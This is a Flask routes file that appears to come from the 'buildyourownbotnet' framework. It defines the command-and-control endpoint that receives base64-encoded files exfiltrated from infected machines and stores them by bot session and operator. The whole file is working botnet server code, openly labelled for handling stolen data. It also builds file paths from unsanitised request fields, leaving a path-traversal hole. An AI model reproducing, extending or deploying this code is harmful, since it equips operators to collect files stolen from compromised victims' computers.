routes.py

import os
import base64
import string
import random
from flask import Blueprint, request
from buildyourownbotnet.core import generators
from buildyourownbotnet.core.dao import file_dao


# Blueprint
files = Blueprint('files', __name__)


@files.route("/api/file/add", methods=["POST"])
def file_add():
	"""Upload new exfilrated file."""
	b64_data = request.form.get('data')
	filetype = request.form.get('type')
	owner = request.form.get('owner')
	module = request.form.get('module')
	session = request.form.get('session')
	filename = request.form.get('filename')

	# decode any base64 values
	try:
		data = base64.b64decode(b64_data)
	except:
		if b64_data.startswith('_b64'):
			data = base64.b64decode(b64_data[6:]).decode('ascii')
		else:
			print('/api/file/add error: invalid data ' + str(b64_data))
			return
	try:
		session = base64.b64decode(session)
	except:
		try:
			if session.startswith('_b64'):
				session = base64.b64decode(session[6:]).decode('ascii')
		except:
			pass

	# add . to file extension if necessary
	if not filetype:
		filetype = '.dat'
	elif not filetype.startswith('.'):
		filetype = '.' + filetype

	# generate random filename if not specified
	if not filename:
		filename = generators.variable(length=3) + filetype

	output_path = os.path.join(os.getcwd(), 'buildyourownbotnet/output', owner, 'files', filename)

	# add exfiltrated file to database
	file_dao.add_user_file(owner, filename, session, module)

	# save exfiltrated file to user directory
	with open(output_path, 'wb') as fp:
		fp.write(data)

	return filename